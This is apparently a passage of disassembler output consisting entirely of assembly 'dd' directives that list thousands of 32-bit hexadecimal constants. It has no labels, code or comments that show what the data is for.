		dd 8A570F36h, 0C8225FDCh, 0CCC8D0Fh, 3FFBDE51h,	90D154C8h
		dd 48F995CBh, 0EF7BC240h, 1FE0Bh, 0E17498AFh, 5F9B774Dh
		dd 1767730Eh, 12DD8E9h,	21313095h, 4C448553h, 70D25FE2h
		dd 7285EA8h, 239A0D85h,	42122C1Dh, 91DF291Fh, 482E5FF9h
		dd 0D8B10D4Dh, 0E9012729h, 8A178965h, 9E3B71F9h, 607E2560h
		dd 1E58DA40h, 0F72004CFh, 0B8615BE5h, 85448834h, 0EC6D8529h
		dd 2ED84AA7h, 80C3B1F5h, 0D07E66C5h, 6F01ECC0h,	0D4AD6905h
		dd 342B7443h, 95DB8298h, 99597889h, 70617C27h, 3097DD16h
		dd 8081B451h, 3F2FC780h, 0EFD5CD6Ah, 91205941h,	0E81060E2h
		dd 64818E17h, 0CA6FD7E1h, 20BE5F50h, 0ECBB9DBh,	25BE4896h
		dd 0B029C434h, 263920DAh, 0F91E21EFh, 0B8277DC0h, 80A2F22h
		dd 0A301A8DFh, 39305D08h, 8976D226h, 271E2C1h, 2BE5BFE0h
		dd 232E1201h, 6FE8B5BDh, 0F91CFA30h, 7853004Eh,	2357A08Dh
		dd 19008F7Ch, 0BB76D9B0h, 0B838C561h, 0C1DAC49Eh, 53A81215h
		dd 7F83F5Dh, 0EF802709h, 0F256C6D2h, 0CDE34AE7h, 93E2E6D9h
		dd 5F56D754h, 2E6309F5h, 73448F59h, 1D48253h, 0E8C030F5h
		dd 8245880Bh, 86228300h, 97064928h, 7DF95CDEh, 0B9A9AEC0h
		dd 9FF275F8h, 8EDD5B4Ah, 806CDA6Fh, 31E2365Fh, 0B1BEC157h
		dd 6AE1FFADh, 54705820h, 2A241FEAh, 1EC700AEh, 3646913Ch
		dd 0ABC40B01h, 1D0C8D8Ch, 999C22Bh, 694C9C55h, 755197CCh
		dd 3F1BDA46h, 1D138960h, 0CA79D117h, 2B61E53Dh,	0A53A7C29h
		dd 0B8B77D87h, 0D4B325D7h, 35414D70h, 2A9BC88h,	98D8830h
		dd 0EBCCB730h, 0D48CB4h, 4D43BB4Fh, 0E9879B1h, 0D3A8E525h
		dd 6EFF98CFh, 0CCB709ADh, 0D41F9EFAh, 9802B9FEh, 517BFC4Eh
		dd 91BB56F5h, 22F8260Bh, 9D54EECBh, 0D050037Bh,	6ABE0ADBh
		dd 8A0CCA7h, 810032C1h,	4123AFE3h, 0E3989555h, 319050F8h
		dd 0F4AE142Eh, 89FF609Dh, 0D5652181h, 0A05D620Eh, 96615E35h
		dd 0FDA49712h, 0E5761D68h, 609724CEh, 0EDCC923Ah, 3F307103h
		dd 9D6A830Ah, 810C4BFBh, 0D189D2FEh, 7018D368h,	1717492Bh
		dd 32E2A49Ah, 12D3800Bh, 0DB9CBFE6h, 50BB508h, 0AE85895Bh
		dd 0E00BE7Eh, 0B8A28C0Ah, 71F3A13Dh, 3D012980h,	7BEAD5E9h
		dd 0C44ABB6Eh, 3E12FE37h, 313DB8A1h, 0B122CECh,	1810870Ah
		dd 0A42F27E7h, 0DCACFAF5h, 0FBDE8AC4h, 0A54A89DAh, 6D73F22Bh
		dd 0FCF5C971h, 41A93CCh, 65E03379h, 88739BF5h, 19A8C016h
		dd 8E4A0FABh, 3C5C8AA6h, 0F0DACA80h, 5002C2BBh,	0CCACC8B5h
		dd 36764947h, 955FD0DAh, 36609119h, 0D1954003h,	277EFAF1h
		dd 0FC686180h, 48F6901Ah, 3049581h, 0B1098EE9h,	0CDD1AFD9h
		dd 6018649Bh, 3221CF85h, 0F984ADE3h, 0B040957Eh, 0DCE635h
		dd 8469CA5Fh, 8B60E7CEh, 2513F34Bh, 470C0F30h, 1E92F6D5h
		dd 0F55401h, 307D3EE5h,	0F0BEE0Bh, 22E4672Ah, 5C90FAA0h
		dd 422EDC32h, 5760D5A6h, 95B91ABh, 0FA2B5098h, 0B3A905Fh
		dd 1E2D25BDh, 565A19FCh, 0FC90D49Dh, 9E0CF80Eh,	14458229h
		dd 71EDD361h, 79EC6676h, 0E6CE5B5Fh, 0ADEF8104h, 527C1D3h
		dd 28382A11h, 851D910Bh, 8C1EE9FBh, 9D95F828h, 0E3627235h
		dd 0B4FAEC77h, 1C694202h, 2850F01h, 0DD8A2589h,	0E744E351h
		dd 951F5052h, 4F75D7B2h, 0FE72696Ah, 6E3C172Fh,	20A92836h
		dd 32292558h, 0FBA4BC45h, 88BE00D6h, 0F5EE9174h, 0BB7B236Eh
		dd 120ED912h, 6F5B2FA2h, 0AA63072Fh, 9702DB42h,	77256228h
		dd 814DDB44h, 53F98947h, 1BCDA7E5h, 3F71E41h, 60DD2CD5h
		dd 5371E6h, 773C44E0h, 0A0027890h, 50153688h, 63FADFEEh
		dd 21B95F03h, 8C61DE24h, 0BA05A0D4h, 6FAE270Dh,	1B23FAh
		dd 5EF4CED3h, 942516EAh
		dd 980B66DBh, 1E752F63h, 5097D0EEh, 6B739F56h, 29E59D04h
		dd 0D9BDF029h, 8A842442h, 4E80A8FCh, 11CCC88h, 0EAAD8F50h
		dd 2A203243h, 0E6A96A17h, 832DD2B8h, 1706DB72h,	0B23EF6F8h
		dd 963E301Ch, 90A6D600h, 4A05C6B1h, 0D9953889h,	0A0977548h
		dd 0A004D44Ah, 0F1B52951h, 94FB8394h, 9E7BAF62h, 0B054100h
		dd 0C885156Dh, 0F95B47FCh, 19B21FB6h, 282A9033h, 67B6359Dh
		dd 9B49BECEh, 6972DE96h, 50CCA777h, 0C5BA6DCBh,	0B3F0FAD1h
		dd 0B02FECFCh, 0DA92551h, 1BE4EF4Dh, 4A796360h,	2FB6D504h
		dd 0B6A96E56h, 0A03EE75Eh, 7EB62964h, 0B579250Bh, 942FBB5Ch
		dd 6E4845D8h, 0BF1BA0C6h, 0F3899C09h, 4F4D5Eh, 0AA6163BBh
		dd 965F252Bh, 0B7706A73h, 0EA9301D9h, 9531DF09h, 48D523B5h
		dd 0DFE896BEh, 203A92B7h, 12FDF3F7h, 0AD5A3DEh,	0C560F780h
		dd 0B1D46DCh, 0D6758C93h, 99A465D5h, 0B5B82072h, 0E52B182Fh
		dd 0D4E12ED1h, 0B4559309h, 968BDF23h, 48715074h, 0D498BB14h
		dd 3F7D880Ch, 0A9DBB100h, 9635604Ch, 2515FD3h, 4ADFB853h
		dd 0C6612EE0h, 0A00267E1h, 26D4DC15h, 9DFA370h,	9EF7336Dh
		dd 8CB70069h, 17709EBFh, 31CE97Dh, 0EB6AFFF5h, 31C18B04h
		dd 0A4D5B1BDh, 19AC77F9h, 0FA60018Ch, 8C5A9722h, 51A23E8Bh
		dd 0E27DB5Ch, 0B5A6B356h, 2B8B02DEh, 0DFEB86F7h, 8DB6D6D8h
		dd 0DECC6Ah, 1547D3Ah, 83D64D86h, 535A5618h, 27A004AEh
		dd 0CF46A5Bh, 9C5609DEh, 0A70763B3h, 41B10A79h,	2B301A4Fh
		dd 53C124DBh, 6365A233h, 0E69E0075h, 287372B7h,	0BCD1504Ch
		dd 0C90D4A69h, 3803E21h, 450C125h, 6038AEBFh, 74EDA91Ah
		dd 57BC094Ah, 0BE1F8A5h, 0ED6A9FB7h, 0FF74E43Dh, 34595845h
		dd 0B6D7A4FDh, 8279E7D2h, 547CDC40h, 8636AE4h, 91D259Dh
		dd 0FF13DD51h, 76A7A3D1h, 0DEAAE701h, 0F61F6016h, 50CA282Ah
		dd 0D894DB97h, 160072C0h, 0A62D65ECh, 64A9B589h, 0EB02EF06h
		dd 6C880362h, 2B654562h, 96D86508h, 29C960F5h, 0E4B4558Dh
		dd 0E7AE904h, 59B199A8h, 5DFD041Ah, 42023FB8h, 0A3F7BEDEh
		dd 4067DC12h, 57AF0611h, 0F3CC9803h, 80D50490h,	767EECC1h
		dd 0D822161Eh, 94B1F49h, 3A5F14A8h, 6950CD5Ah, 6A2F6280h
		dd 0A4120C7Eh, 45FF5C97h, 13870F4Eh, 930AB85Bh,	6CD538AAh
		dd 1C42C500h, 52B8F0C1h, 0DE3FE35Fh, 751FC4ADh,	6E3629AAh
		dd 5D00886Ah, 0AD327EB8h, 0B5E49C6Fh, 55F63295h, 0FE124D05h
		dd 92631F6h, 2D321027h,	0FE82DD6Ah, 0B6C0B707h,	0DEBB21A5h
		dd 949D6D8h, 7A839A14h,	0F818F053h, 0E0B0F929h,	0BB704AE6h
		dd 9E46BC8h, 6FF38071h,	0E044E452h, 6E649589h, 1231E9BEh
		dd 622A1ABDh, 46C3F8E9h, 1C2DE397h, 5F822F28h, 4ACB803Dh
		dd 0BD01F180h, 7D1743E5h, 0F9BBC824h, 8B3B3E04h, 62A4A008h
		dd 78193005h, 4C50D780h, 0BB470255h, 68B65D97h,	6013C854h
		dd 3DD1C8h, 4133086Ch, 3684110Ch, 0CB20294Fh, 5B75BCC9h
		dd 0BD60FBB3h, 89D248h,	0A0B29521h, 0C38B5AC2h,	160616Eh
		dd 1FA1B531h, 163A8C2Ah, 0A957418Ah, 4DFC09E6h,	0FA4EBF40h
		dd 227B4CAEh, 0BE218D12h, 279D1328h, 4CFB2419h,	0C53A453Ch
		dd 62E9F643h, 2081532h,	87989589h, 0C45FE41Ch, 4AEAE7F0h
		dd 7FCC98A4h, 97F9041h,	37F56A8Ah, 9B0F81B8h, 0D6C0A977h
		dd 7E203D02h, 0A84A64C2h, 5A40D3CCh, 25B983B5h,	7048B510h
		dd 7AA115FDh, 0F9E89DFCh, 0DED726h, 80CDC98Eh, 0BBE317D8h
		dd 1016FEEh, 5BD78159h,	23604EF8h, 47B29CC0h, 0E223BFDFh
		dd 8DE1B794h, 7544D078h, 347FAB04h, 6AFF4757h, 1D2357h
		dd 567D1CBEh, 1A0ADB6Ch, 86CA28B1h, 4F01CC3Bh, 9A2DAADh
		dd 1FB37020h, 61305E3h,	8087B5C9h, 0F9BD0327h, 0F5677FF9h
		dd 0CCF59DD3h, 8101A8E7h, 0CFDBC9EFh, 90877E4Eh, 89BA5DB9h
		dd 27D64C8Ah, 5EDA40F1h, 3501D417h, 0EB061534h,	282A6EB3h
		dd 2FD7ADFFh, 8D80ED9Bh, 8B72BFCAh, 5D66712Fh, 19E1BF1Bh
		dd 2A2F21DDh, 1FEA2724h, 0CD9F2053h, 6019644Ah,	4C03D11h
		dd 0FF6E8A53h, 0B8B8FDE1h, 0C6CF0094h, 0FC2FBC9Bh, 2913FA4Ah
		dd 2AED5595h, 6D298D27h, 0CF000E59h, 94F54CECh,	74580030h
		dd 970E9A21h, 101C3F16h, 71659D03h, 394E254Eh, 5A052538h
		dd 91BCEDE9h, 5995AEA0h, 6D4C8295h, 5940121Bh, 94956180h
		dd 75A3E966h, 99778B5h,	663AE209h, 0D96384A5h, 9FA17DACh
		dd 19880F04h, 0BFC105C0h, 0AB7324E3h, 2EE10A99h, 4AC7026Bh
		dd 526D60A2h, 0A1D210E0h, 0DF76015Ah, 55852972h, 8CB62B34h
		dd 5E301DA2h, 0C21700E1h, 0ADF5D794h, 8B253628h, 7D9462FAh
		dd 53059637h, 2D817E36h, 0B32B35A9h, 171138Bh, 26A260B7h
		dd 5BE93754h, 97F45019h, 9C7DA9Fh, 54DE782Eh, 6DE9B1FEh
		dd 0D07B4377h, 305159A8h, 25CFF5A0h, 0BB90CC01h, 48FEF8EEh
		dd 0DD508C2Fh, 0B7329801h, 217B2C1Eh, 8D2B52F9h, 4AE03EF8h
		dd 80437EBBh, 0B797905Fh, 2D54253Dh, 0A509C748h, 7EDE5430h
		dd 0F3001A46h, 0EC61E7C6h, 29097B1Eh, 0F71ACDBDh, 0F25639Ch
		dd 0EC72AF8Eh, 5DC0B06h, 0E641CDF0h, 6D7A8A0h, 8B2A14BFh
		dd 53439571h, 8475BB87h, 8B881A00h, 992CC257h, 85565F07h
		dd 2F1BC908h, 0EAC9D46Ch, 0B535780Dh, 71F848ECh, 48BD2C4Fh
		dd 0D434FCD3h, 10407DD9h, 21D2DE9h, 140EE6C9h, 6D6E04EBh
		dd 0A99F5D1Bh, 0E556D7A2h, 0FB242A4Eh, 0EEF5F0B6h, 0B66E3BA1h
		dd 4F70B59Fh, 17CEC921h, 0F3FB5152h, 5DA85AACh,	3B1CB1D2h
		dd 69C08CDEh, 0E9EF4973h, 3F9414Ah, 1F8C1AACh, 0C6B3878Bh
		dd 0B4C867CEh, 9BDFF2h,	0B6531872h, 0A10A09D5h,	34707BA2h
		dd 5350F813h, 0B77B09F7h, 375F8BABh, 82B300DEh,	34CBA0B1h
		dd 4DB4AFBAh, 2536625h,	1588EB81h, 0D77C0FF3h, 0E167ED40h
		dd 761001BEh, 2D9D2995h, 0C6F33E1Fh, 5C08A8D3h,	9ECF824Ch
		dd 6C81804Ah, 1D92B881h, 23EC072h, 0AA913888h, 4FF2B0D5h
		dd 0F02D2577h, 10994877h, 46780606h, 27800FBFh,	45985BE0h
		dd 0E497D3A4h, 0F56697F6h, 418854BFh, 6E12830Fh, 0B0E83124h
		dd 0B2D18980h, 0A12FF224h, 36652E7Ah, 0E7E0BFF6h, 0FC4BDF20h
		dd 0E341D68Dh, 7322459h, 162CC510h, 58AF8A50h, 50124ECh
		dd 91643797h, 619F8316h, 295434B4h, 0EEDEE179h,	0C00ECD57h
		dd 3508AEB3h, 86621697h, 0D19B02BEh, 811A84Ch, 5F52CD56h
		dd 41352F4Ah, 6AD7380h,	0B732E933h, 3D00736Eh, 917793D4h
		dd 55B70Fh, 1B3A2940h, 0B4270982h, 51542E25h, 5325DDC7h
		dd 42785274h, 64E0AC1Ch, 371E860Bh, 8C53AFA7h, 165B5B2Ah
		dd 4FE205BCh, 0F416FD4Ah, 0D91B426Bh, 217EAD3Fh, 0D5BA0055h
		dd 0E7EB0E66h, 2EF38078h, 0C5C2BE34h, 83615DE4h, 137B7EA4h
		dd 2E6816h, 5FD459ABh, 92FF2B2h, 9225A85h, 0F8D9501h, 8EDE7E54h
		dd 910800DCh, 0E4C6DE9Ah, 0B512B248h, 0A3BB8B0Fh, 643E1755h
		dd 0E9F9CCE0h, 0A6B86D2Dh, 24419B8h, 3473B750h,	0C499FC72h
		dd 0C0A1B8E5h, 0F381FD8Ah, 4B487066h, 0A05ECA3Ch, 0A18B909h
		dd 5EF0771Ch, 99D30486h, 7874FF20h, 0F2C7E5DAh,	89A3C0E5h
		dd 29135A90h, 7BFCB195h, 51CDBAA5h, 97759DF8h, 96C2EF14h
		dd 5C212CD7h, 0F7742DF2h, 0DB4B5CDCh, 0EF119D16h, 27E617Fh
		dd 0D68543B3h, 3BCCF58Bh, 574F998h, 0FE2C3AB7h,	0DF7EE99Dh
		dd 0B0D13ED4h, 89BE14A4h, 3E493029h, 2A05DD9Dh,	9691A89Dh
		dd 9A726C09h
		dd 9C024B0Dh, 19EC298Fh, 0F2F7114Eh, 441C05Ah, 0FB90966Eh
		dd 33D331E7h, 0F71D0EE7h, 851323B8h, 0BB240966h, 41B7749Ch
		dd 0EB801811h, 1ADC3315h, 0D3AA314Ah, 0B9CC8AE1h, 0E4E6D2C2h
		dd 25FC02A7h, 0A6F14641h, 0DF166559h, 7F21A6C2h, 855E669Ch
		dd 0AC1BF9Eh, 72FD9D33h, 35205B46h, 1A41743h, 0B5A585F0h
		dd 0FD4B028Bh, 0BC411008h, 1759E48Dh, 0C87174A8h, 0A1EB374h
		dd 0C500B2BFh, 50517968h, 0E0881DEAh, 0A499C360h, 25C5B02h
		dd 0E5DB4B65h, 12CAAE80h, 0C14AA4Dh, 25924030h,	151B8999h
		dd 81AE646Ch, 9195Dh, 9522F780h, 0FBB5F44Eh, 9874583Ch
		dd 7618430Bh, 0C0FB5C0Dh, 0BA127ABBh, 718E20EDh, 19CB2F4Bh
		dd 1FB66A4Bh, 0FD897864h, 4B157940h, 0F4256DFCh, 68FEDE94h
		dd 0BFF5ED01h, 212A4533h, 0DAEA982Ah, 0DCA5C64Ah, 0B21DA72Bh
		dd 76093015h, 0C9FB1095h, 8F8C00EDh, 317988A9h,	9B75899Ch
		dd 0A6625209h, 0BBD2DFE4h, 0BD7C70B7h, 6F0EBDC4h, 20612294h
		dd 12D040E6h, 0C18B2D2Bh, 0EE700C53h, 7E419049h, 3D659575h
		dd 17F7EC70h, 0ACE48F91h, 0C8502514h, 99FBBF88h, 19C1099Ah
		dd 2A6FA7FEh, 0E4074002h, 0DEEB302Ah, 0EC04DCC0h, 7EE780ACh
		dd 6E4FD2B8h, 0B0D39BAh, 0FA85292Ch, 4E017558h,	901D0BB9h
		dd 505C1770h, 70380FDCh, 0AE6F5265h, 0FD197200h, 8803EF43h
		dd 95898304h, 0DDFE2F99h, 6270B473h, 0FAF3A0B6h, 0E4360990h
		dd 97E97482h, 109BFB6Ah, 11AD1481h, 8D96609Bh, 59270528h
		dd 0EE1E2525h, 0BF54F4Ah, 967727E7h, 0AC7D5456h, 91BD5F0Bh
		dd 7CD1FF06h, 2EA312D0h, 0E80946ACh, 2E7961FCh,	7BBFB744h
		dd 80BB3DB4h, 35705629h, 0B7B6F5A6h, 16E88F8Eh,	0CD026A8Bh
		dd 988FC008h, 42037254h, 8AC75DD3h, 0A4F25F4Ah,	0B3169083h
		dd 90FD5056h, 5F2D603Bh, 6AFD58F8h, 1D80839Bh, 41683D29h
		dd 0BBEAFB01h, 31DD2266h, 0BD42743Fh, 5087A8BDh, 9E3CAF7h
		dd 7FE9DEF3h, 48E61CDFh, 0F94AE1EEh, 455BCF2h, 8D29E693h
		dd 830C9571h, 0BC9C5683h, 7404D37Eh, 900B2FC5h,	0B6E8AE5Dh
		dd 1EB827B9h, 6E1C2102h, 0DC1370E4h, 47CC254Ch,	82569095h
		dd 0B50C00A5h, 5F8F12ECh, 0E8003CC7h, 0EBC2CC59h, 4BA60E3Bh
		dd 2F3CC998h, 0C4B0FFA7h, 6E09A6BCh, 242630Eh, 5E11C54Bh
		dd 417BEB5Eh, 18FC70h, 7A083D09h, 5EC9114Bh, 431AB390h
		dd 556C565Fh, 1E81682Ah, 8E64A7FFh, 7559F307h, 8193BAAEh
		dd 0BDC81D3Ch, 0B59DF06Dh, 3D951D15h, 65700E2h,	0FF808A05h
		dd 70DFEDA1h, 175F69F7h, 3684F5F2h, 800F0501h, 987E2CE2h
		dd 92C4045h, 9D0DB534h,	0FCE2C0EEh, 0C09F70E6h,	2C4CF56Eh
		dd 60CF71E4h, 3678D6E0h, 267A0503h, 0F20FCD1Eh,	97134EB2h
		dd 54F6CA24h, 0C6904B40h, 8E1E0585h, 0E56E6060h, 0B84807FBh
		dd 1211343Ah, 12D3B995h, 0BBAC1AA1h, 0BE2C8896h, 0A5083Fh
		dd 0BA388B5Bh, 246DB872h, 9A0BB154h, 0E5F4DFC9h, 790EFD09h
		dd 950105E4h, 2CF5ECC9h, 0C817B4B7h, 413DD39Ch,	6FD1D921h
		dd 8C8AD348h, 49AED7B7h, 445F4E70h, 433A3F20h, 0B9083FC2h
		dd 0F3FEB05Fh, 0FEC45F4Bh, 1F80DDF8h, 86D9E017h, 0F1DAD51Ch
		dd 9313DE46h, 0FE7EC028h, 1E199D23h, 0AE49997h,	0E9239115h
		dd 0DF574243h, 160D85Eh, 8004F985h, 45B09D09h, 26DE3197h
		dd 0E3886517h, 0ECFE254Ah, 0F7811EE4h, 40B0882h, 83DC7820h
		dd 0E0D8CBBEh, 31A041A4h, 89F46E5Bh, 9AFB976Ah,	0A2DFE78h
		dd 0D09C22F1h, 972E28A6h, 7354DC1Ah, 433701DCh,	0A6138369h
		dd 0A98D6B4Bh, 44ABBA04h, 0D2ABB9A8h, 0FAFD01E5h, 90DF952Bh
		dd 73F8BF7Dh, 84274EECh, 0B8F2E910h, 0FCC92D86h, 39EF37h
		dd 7269A05Fh, 4D2B7E05h, 0F2BCF5C0h, 0A3D59326h, 0F5DDE304h
		dd 4E5DCEF0h, 88319AFBh, 0E12BC019h, 0CB2D65DAh, 69325BBBh
		dd 0D4B1F4h, 2DBB8AE2h,	0B366406Dh, 5B20A04Eh, 0FB3433h
		dd 373BB1Fh, 0A96A20ECh, 0DB4D9D00h, 873A0D05h,	0D18A2460h
		dd 60F067DCh, 855EA9CDh, 5B615A05h, 549F880Dh, 5F7A0092h
		dd 0EE061E51h, 5AF4AAA8h, 716B38B4h, 0B02F0154h, 3B60179Fh
		dd 16B206F6h, 9C1DF833h, 2EDC1DBBh, 9A45A72Ah, 40AE4DEBh
		dd 0CAB74ED5h, 6397711Dh, 0D91E95D3h, 4AAD0CD2h, 91706EE8h
		dd 0B745AD01h, 1581BD09h, 2557CE6Ah, 0D81F7BC0h, 0BE5B527Dh
		dd 90F3F5B0h, 23F90508h, 971BD1B5h, 0C8D11941h,	90586623h
		dd 0B6450922h, 0C051B2DFh, 0BB4ABF00h, 4CC04FBCh, 925FAC35h
		dd 41D85F14h, 4EA9E027h, 587593FBh, 531C58A5h, 0DF9B78C2h
		dd 209CA68h, 0DBFBE1FFh, 0BB401471h, 258529C2h,	157915D9h
		dd 76055FC2h, 3A02F496h, 0F58FA84Ah, 0CC40FD55h, 80253FFh
		dd 3FB9660Ah, 59DC74F8h, 0B1F01440h, 0B767B529h, 7404F70Bh
		dd 6600F408h, 82277779h, 2F5B589Dh, 87376071h, 0E43F8A00h
		dd 5C705A73h, 40582F09h, 0F94E0122h, 63DBB985h,	0FEBB7C80h
		dd 0FA05CEA1h, 6B5D8F80h, 0BC3EC4BBh, 138858BAh, 9CA30291h
		dd 15F96121h, 904F7B18h, 0AF80C825h, 59D2D92h, 573ABD29h
		dd 0AA6BAA7Dh, 11011923h, 8EF0C7F3h, 6DF282DAh,	333BD708h
		dd 2629DA13h, 4AFB49C8h, 602CC950h, 9B0015ACh, 0E2D1D925h
		dd 0EABFF2h, 0A5EC56FDh, 90EBA836h, 0FCB7BFh, 0F97FC63Bh
		dd 0A617E69Fh, 6FEA6AE0h, 3DCA07ABh, 0DF10450Bh, 3CDD5CBh
		dd 512F6854h, 0D44A2B63h, 3CD08BE0h, 5DE7C52h, 0FB26F2A1h
		dd 0ADA0D6CAh, 3127C4B9h, 0B0614661h, 1E2005BFh, 0B902A3E9h
		dd 1AEE845h, 0D869961Bh, 41F62536h, 2F219DD1h, 0F5002A8Ah
		dd 88CEDF62h, 4001AE4h,	0FA0BBC97h, 29D098DBh, 17F49D29h
		dd 4807AE58h, 6164A913h, 0E74A8CE8h, 0FBB4DCh, 0B292F897h
		dd 0A4BC2DE7h, 7111E340h, 4A1720Ch, 38C293F1h, 0D2AE8360h
		dd 2959CA10h, 0B84FC4Eh, 0FD196DB5h, 4D9D5016h,	0E72140C1h
		dd 0F8B57ED2h, 52204048h, 0A4B5EA98h, 0B1E85B51h, 0C0559B96h
		dd 89E25E7Ch, 650A9891h, 0BEB31D02h, 278A64D8h,	65CD89FCh
		dd 0E401FE7h, 8376C0FAh, 3AF6EEC9h, 1723BC6Bh, 6139350Eh
		dd 99D2BB8h, 0EABF1474h, 17F927AFh, 8573C542h, 0B586778h
		dd 0ED76B825h, 13F9C6FFh, 0EFFBE9BBh, 0D88A4A32h, 794095F1h
		dd 2A4E319Dh, 0C151CC9Ch, 0A371E3FAh, 0AE203A5Bh, 9780Fh
		dd 0C59BF55Dh, 93CB9D87h, 0FA201C02h, 772BCDE2h, 691C8E5h
		dd 0CF8BA000h, 0F98B857h, 16E08153h, 4EB5F96h, 0E861F71Bh
		dd 8E0D88B2h, 0E620D686h, 0E0E596FFh, 186BE702h, 0F58B7C4Eh
		dd 4A0025C6h, 554CCCE3h, 72E22797h, 0FDD32D78h,	0C8001559h
		dd 0EF0EA292h, 1311E64h, 34C04279h, 864128B6h, 285A725Fh
		dd 0DE001AE8h, 0BDC82CC5h, 0FD2F43h, 13D27A89h,	80557767h
		dd 92E69Fh, 0B7102540h,	1A1F14ECh, 5FAE6D09h, 0A8CFD158h
		dd 0B101E28Bh, 75BF0203h, 87D050CDh, 59890F27h,	0D0CB47BCh
		dd 23D44D6Ch, 1B7DAB04h, 0C8BBE89Fh, 0AE994A10h, 41A16D4Bh
		dd 20591A73h, 0F1BFF9E1h, 0D9D0577h, 0C16DAE1Dh, 88A8E069h
		dd 5E4D9E00h, 0FA8C22C1h, 80AD99B6h, 60A666FDh,	0FE003D8Fh
		dd 0F1214DB3h, 0B228676Eh, 5FDF0B9Ah, 2484A8BBh, 0A408E860h
		dd 9B7594EBh, 0CB96C0AFh, 11EF392h, 29B314B0h, 6207E98Dh
		dd 8E712AE0h, 6BE13CF4h, 0B23E947Ah, 56CD6F85h,	0A5CEBE3Ch
		dd 1EE4BDBCh, 0B78F0F80h, 1060B4A7h, 0D1ABE61h,	51213927h
		dd 108542A7h, 57560C6Ah
		dd 27CD13DCh, 2201AFF8h, 21B52956h, 522B62h, 95FDACCh
		dd 80058D2Dh, 0A917BB28h, 2BD39D07h, 7C805713h,	0BF5BE9B9h
		dd 24ECE8D1h, 0D6C827EFh, 6048C146h, 0D376C0FCh, 29FD631h
		dd 0A24F4E3Dh, 0A16305A9h, 68ACB0C7h, 6EC19661h, 5B9202BFh
		dd 0AF2E7731h, 96EC8624h, 0C76C9630h, 0E1B707A8h, 0B27F18CBh
		dd 0F5828B44h, 17351998h, 9DF8F39Dh, 0C4519729h, 0AC8DBDF0h
		dd 0A5B68E14h, 0DD020E42h, 64E5130h, 0C0E39E00h, 0B27F3979h
		dd 0BF9B02D2h, 581D47D7h, 6DE9A074h, 83074053h,	0A3064391h
		dd 0B5B660BEh, 0E5EB1F8h, 171E861h, 0D6C50C3h, 248809BBh
		dd 0F42D3031h, 68EFAF61h, 0F032F361h, 4FD9A1D0h, 0C24EF155h
		dd 29FBD60Eh, 6C6A2F88h, 0AC0BDE00h, 1ADB8021h,	0E04E5796h
		dd 0C44E90DDh, 0AF7F0BCCh, 715CE8F6h, 0B1739FF6h, 3E51ADh
		dd 95BFA3D2h, 7D008FA0h, 6BED6E17h, 4E47E12Eh, 3714C7D0h
		dd 0EF0D14B5h, 0CC2E09DDh, 0C872B3A4h, 0C38C224Eh, 0D59D1003h
		dd 7E018B11h, 527B2510h, 0EB9E387Ah, 12837D0Ch,	8491BD33h
		dd 1509EA03h, 0A4E8D315h, 2F790863h, 0BD04F827h, 3B297518h
		dd 0F1818EBAh, 2AAE2539h, 1BB29AE6h, 773FA30h, 2A84D510h
		dd 0CDF5448Eh, 2DAF2E1Fh, 0F2352F6Ch, 5026EAEh,	0AEEB67B7h
		dd 8BC131BEh, 69C647DEh, 0B45741E2h, 0C08781BCh, 0DC539242h
		dd 3CB55208h, 9D0C0D80h, 2EBEC0F2h, 12F7F7E1h, 0AE3F35CEh
		dd 2871AFCCh, 1CE8F57Ch, 25FEB8DDh, 86DCA65Eh, 11E40041h
		dd 4FCF938Ch, 3A9DB21Dh, 50475BB3h, 0FC012211h,	0BB663ECFh
		dd 6B3BE062h, 21723FBh,	0E0FFA065h, 1F4E3D70h, 0CC01CE9Dh
		dd 283AC16Dh, 0C2E142B2h, 7022FBFFh, 0E4279C76h, 9DAD46FEh
		dd 0A5CAC210h, 26E34403h, 31F6A955h, 5F7FED9Eh,	30886BC6h
		dd 0A5F32780h, 0E8AEC345h, 917B3C40h, 0CD4E0E8Bh, 0C43C1FBFh
		dd 0EFF85BB1h, 5636CD89h, 5160A9F2h, 8B802F61h,	9398A0C1h
		dd 7AA8B0A5h, 9A389DCDh, 0BA1226BBh, 2F81730Ch,	57D650FEh
		dd 6D6A2941h, 36F0BDADh, 0A05109A9h, 8B7E6A2Bh,	638F00DEh
		dd 2E37E98Dh, 0DF61F435h, 303BEFBAh, 28BC1F3Dh,	9FDC2601h
		dd 14547AA3h, 0EBA133Ah, 2F102197h, 0EE097490h,	97A0A8FEh
		dd 0AA6AF524h, 0C52DEA6Fh, 79E0C656h, 54FFBDBFh, 95FC9545h
		dd 29E23159h, 56E45585h, 1EDD150h, 2F8A5F4Eh, 6979322h
		dd 271B0EDCh, 0E124C195h, 0C1939B02h, 0C15ACAE6h, 76800F38h
		dd 2C7336FEh, 155BC8E9h, 3B01E300h, 4A602DCh, 0B1A8CE5Fh
		dd 5110B294h, 0B8A2921Eh, 0B663800h, 0BFA92C14h, 0EABE5B04h
		dd 51EDFDF6h, 350077BCh, 6673B013h, 0BBB61CCh, 3B245F45h
		dd 0BF016D53h, 0B6E90317h, 896BA33Ah, 0C13529F9h, 37BE2AEBh
		dd 0B5F2CF89h, 0BB4930D5h, 0E413623Dh, 521110A5h, 29802C7Ch
		dd 5CDD6FD4h, 8B2527F6h, 366974FBh, 952F8C26h, 90FDC873h
		dd 44B8386h, 0E18C8D16h, 1DAEE09h, 0EBD2A22Eh, 2FAD972Bh
		dd 0FFC4FE64h, 7AABB1C5h, 319231Dh, 0CDC4D5D0h,	0F98A3C88h
		dd 60EF04D7h, 2769BD82h, 0DCF66A81h, 8F58DC9Ch,	59CD2420h
		dd 2509D4A6h, 44A07933h, 13585D78h, 11BFC41h, 0C4B3C77Ch
		dd 0D4EE2793h, 0D4014CBDh, 4D732D60h, 0F06BDA61h, 8E97F986h
		dd 0E4FAA2A5h, 0BE337971h, 23281000h, 0BD0E609Fh, 7F4DF909h
		dd 9C570266h, 99A15EC1h, 20098337h, 0D1BF2E28h,	899D84A6h
		dd 82A5BD0Dh, 0DC35BD03h, 0ABC1920Eh, 0A59D304h, 0E0BA6600h
		dd 0F4C4610Ch, 0A9BC0FF1h, 209CBC92h, 4534B1Bh,	0AAC0E5C6h
		dd 0AF51A1D3h, 1B80C8E4h, 148B92ECh, 0E0B501D1h, 99E19744h
		dd 85159A07h, 3A104B98h, 1EA6AC01h, 880FDE4Dh, 9311B36Ah
		dd 0E8A88C16h, 0C5BF5032h, 0A0F3FE8Bh, 0DDC88100h, 973157EFh
		dd 2C077A41h, 0DF009F9Fh, 1524EB35h, 12FC76h, 5F16F73Bh
